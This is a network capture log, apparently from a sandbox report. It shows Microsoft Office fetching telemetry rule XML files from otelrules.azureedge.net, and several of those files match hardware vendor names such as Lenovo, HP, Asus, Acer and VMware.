2024-10-07 11:26:34 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49716	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:34 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 1707b783-801e-00a3-53e5-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112634Z-1657d5bbd48xlwdx82gahegw4000000003r000000000018z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49719	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:34 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:34 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 87fc294c-201e-0051-40f3-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112634Z-1657d5bbd487nf59mzf5b3gk8n00000002xg00000000fvn2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:34 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49717	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:34 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 9d5a2ff7-201e-00aa-339f-183928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112634Z-1657d5bbd48hzllksrq1r6zsvs00000000r0000000002pmw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49718	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:34 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:34 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 15158de7-401e-0029-4b00-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112634Z-1657d5bbd48xdq5dkwwugdpzr000000003r0000000009fqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:34 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49720	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:34 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 789c8418-601e-0032-5905-17eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112634Z-1657d5bbd48gqrfwecymhhbfm8000000027g000000008gqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49721	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:34 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0a3893d3-c01e-0082-33ee-16af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112634Z-1657d5bbd48vhs7r2p1ky7cs5w00000003sg000000005aey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49723	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:34 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: bf7deccb-401e-0064-0f0e-1754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112634Z-1657d5bbd48xlwdx82gahegw4000000003hg00000000d2vv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49724	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:34 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 99ffd5e0-b01e-0053-0101-17cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112634Z-1657d5bbd48tqvfc1ysmtbdrg000000003c00000000017x8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49725	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:35 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:35 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: e72ec3ca-501e-005b-2401-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112635Z-1657d5bbd48dfrdj7px744zp8s000000031g00000000fxqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:35 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49727	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:35 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:35 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: c2d0a885-201e-0003-7ced-16f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112635Z-1657d5bbd48sdh4cyzadbb374800000003ag000000003a4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49726	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:35 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:35 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 27ba9a72-001e-0046-2a01-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112635Z-1657d5bbd482tlqpvyz9e93p5400000003c000000000f5ts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49728	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:35 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
